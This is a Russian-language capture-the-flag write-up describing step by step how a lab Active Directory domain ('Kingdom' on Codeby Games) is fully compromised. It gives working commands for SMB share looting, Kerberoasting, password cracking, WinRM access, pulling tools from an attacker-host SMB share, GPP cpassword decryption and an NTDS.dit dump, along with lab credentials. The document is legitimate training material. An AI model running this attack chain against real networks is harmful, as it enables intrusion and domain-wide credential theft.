Взлом
December 25, 2023

Codeby Games "Kingdom" writeup by cherepawwka

Всем привет!

Настало время пробежаться по основам атак на AD, и для примера я решил выбрать интересное задание с платформы Codeby Games: Королевство!

Приступим!

Разведка

Описание задания выглядит следующим образом:

Описание задания

Разведку начнём со сканирование портов, которое я осуществляю следующим скриптом:

#!/bin/bash
ports=$(nmap -p- -Pn --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -A $1

Ознакомимся с результатами:

Результаты работы nmap

Мы видим набор портов, характерных для контроллера домена. Отсюда же мы получаем имя домена, который собираемся атаковать.

Начнём изучение инфраструктуры со сканирования доступных SMB-шар. Делать мы это будем при помощи утилиты smbclient:

smbclient -L 192.168.2.4
Доступные шары

Мы видим несколько стандартных шар, характерных для Windows в целом и для контроллера домена в частности, а также одну, которая сильно выделяется на фоне остальных.

Попробуем получить её содержимое:

smbclient //192.168.2.4/Docs

smb: \> dir

Мы видим немало директорий. Скопируем содержимое директорий на атакующую машину. Сделать это можно следующим способом:

mkdir Shares
cd Shares
smbclient //192.168.2.4/Docs

smb: \> recurse on
smb: \> prompt off
smb: \> mget *
Копирование ресурсов на атакующую машину

Я заранее подготовил директорию Shares для организации рабочего пространства.

Пока файлы копируются, создадим файл с предполагаемыми пользователями домена:

Содержимое users.txt

Проверить валидных юзеров возможно при помощи инструмента Kerbrute:

kerbrute_linux_amd64 userenum -d codeby.cdb --dc 192.168.2.4 users.txt
Обнаруженные пользователи домена

Теперь вернёмся к SMB, и проверим, что же мы выкачали с шары:

Пользовательские файлы с шары Docs

Наибольшее внимание нас привлекает записка notes.txt, давайте изучим её содержимое:

Содержимое записки пользователя amaslova

Предположим, что мы наткнулись на не очень осведомленного в вопросах ИБ пользователя, который любит хранить пароли на записках. Что же, проверим, действительно ли мы имеем дело с паролем от учетной записи. Делать мы это будем при помощи фрэймворка crackmapexec, предустановленного в Kali:

Полученные пользователи домена codeby.cdb

Пароль верный, и мы получили первоначальный доступ!

Повышение привилегий

Учетная запись, которой мы владеем, не обладает какими-то выдающимися правами. Поэтому повышение привилегий мы начнем с... разведки!

Для разведки можно использовать несколько инстурментов, типа ldapsearch, ldapdomaindump, rpcclient и т.п. Я же предпочту сетевой вариант коллектора для bloodhound. Установить и запустить его можно следующим образом:

pip install bloodhound
bloodhound-python -u 'amaslova' -p 'NeverGiv3up' -ns 192.168.2.4 -d codeby.cdb -c all --zip
Сбор информации о домене с использованием bloodhound

Сбор информации прошел успешно, следовательно, запустим BloodHound, загрузим туда собранный архив и начнем анализ информации:

neo4j start
bloodhound
Загрузка информации в BloodHound

Здесь я не буду подробно останавливаться на всех возможностях и преднастроенных запросах BloodHound, о них вы можете чуть подробнее почитать в документации и моей прошлой статье из цикла разборов тасков на AD:

Прохождение комнаты VulnNet: Roasted на TryHackMe

Заглянув во вкладку анализа, мы находим важную для дальнейшей эксплуатации информацию:

Kerberoastable Accounts
Principals with DCSync Rights
PSRemote пользователя dsemenov

Таким образом, мы теоретически можем завладеть учетной записью [email protected], у которой есть права на подключение к контроллеру домену при помощи WinRM. А завладеть мы её можем из-за того, что эта учетная запись подвержена атаке Kerberoasting, про которую я также писал в вышеупомянутой статье.

Начнём эксплуатацию!

Для получения TGS воспользуемся скриптом GetUserSPNs.py из набора impacket

impacket-GetUserSPNs -request -dc-ip 192.168.2.4 codeby.cdb/amaslova:'NeverGiv3up' -outputfile kerberoastable.txt
Результат атаки

Мы получаем зашифрованный TGS, а также видим, что учетная запись dsemenov действительно подвержена атаке и состоит в группе Remote Management Users, что даёт ей право подключаться по WinRM. Для восстановления пароля из билета воспользуемся утилитой JtR:

john --wordlist=/usr/share/wordlists/rockyou.txt kerberoastable.txt 
Полученный пароль учетной записи dsemenov

Атаку мы проводили по словарю rockyou.txt, в результате чего успешно смогли восстановить пароль учетной записи, позволяющей нам осуществить вход по WinRM на контроллер домена:

evil-winrm -u 'CODEBY\dsemenov' -p '!!!!ilovegood17' -i 192.168.2.4
Успешный вход по WinRM

Захват доменного администратора

Мы повысили привилегии в домене, но полученной информации и доступа, насколько мы знаем, пока недостаточно для полной компрометации домена.

Вектор повышения будем искать локально, для этого воспользуемся утилитой winPEAS. Для начала передадим его на хост. Хоть у машины есть прямой доступ в интернет, часто такой привилегии может и не быть, и скачать файл напрямую, да ещё с GitHub, который много где заблокирован, может быть проблематично. Поэтому для передачи файла я буду использовать impacket-smbserver, предварительно скачав winPEAS на атакующую машину:

impacket-smbserver -smb2support public binaries
Запуск SMB-сервера из набора Impacket

Команда выше создает на нашем хосте SMB-сервер с поддержкой SMB2, на котором размещена шара public, которую мы маппим с директорией binaries на атакующем хосте.

Для копирования winPEAS на сервере достаточно просто воспользоваться встроенным функционалом операционной системы: \

copy \\<ATTACKER_IP>\public\winPEASany.exe
Копирование winPEAS с шары на атакующей машине

Теперь запускаем исполняемый файл и начинаем параллельный результатов:

Запуск winPEAS

После тщательного изучения вывода мы можем обратить внимания на занимательный результат в одной из проверок:

Cached GPP Passwords

Мы видим 2 файла, а также фигурирующие в них логины и пароли. Если мы попытаемся прочитать один из них, например, C:\ProgramData\Microsoft\Group Policy\History\{E2BAD596-F796-4E2D-BE3D-37BAE6B1919D}\Machine\Preferences\Groups\Groups.xml, то увидим следующее содержимое:

Содержимое файла политики

Значение параметра cpassword

cpassword="oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80"

сильно отличается от результата, полученного в winPEAS. Чтобы осознать, что мы получили, обратимся к одноимённому разделу Hackticks.


Справка: кэшированный пароль GPP

До версии KB2928120 (см. MS14-025) некоторые Group Policy Preferences можно было настроить с помощью специальной учетной записи. Эта функция в основном использовалась для развертывания пользовательской учетной записи локального администратора на группе компьютеров. Однако при таком подходе было две проблемы.

1) Во-первых, поскольку объекты групповой политики хранятся в виде XML-файлов в SYSVOL, любой пользователь домена может их прочитать.

2) Во-вторых, пароль, установленный в этих GPP, зашифрован с помощью алгоритма AES256 с использованием ключа, который публично задокументирован.

Это означает, что любой прошедший проверку подлинности пользователь потенциально может получить доступ к конфиденциальным данным и повысить привилегии на своем компьютере или даже в домене.

Файлы, которые мы будем искать, расположены в следующих директориях и их субдиректориях:

  • C:\ProgramData\Microsoft\Group Policy\History
  • C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History

Названия интересующих нас файлов:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Раз ключ известен и публично задокументирован, расшифровать cPassword можно следующими способами:

gpp-decrypt oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80

crackmapexec smb 192.168.2.4 -u 'amaslova' -p 'NeverGiv3up' -M gpp_autologin

Попробуем проверить эти способы:

Результат расшифровки пароля предложенными средствами

К сожалению, CME результатов не дал, а вот gpp-decrypt успешно расшифровал пароль (оно и неудивительно).

Раз у нас есть пароль, подключимся на машину от имени администратора:

evil-winrm -u 'CODEBY\Administrator' -p 'Not_alon3' -i 192.168.2.4
Успешный коннект от имени администратора

В завершении атаки сдампим NTDS.dit, тем самым полностью скомпрометировав домен:

crackmapexec smb 192.168.2.4 -u Administrator -p Not_alon3 --ntds 
DCSync

На этом разбор этого задания завершён! Надеюсь, вы узнали для себя что-то новое.

До новых встреч!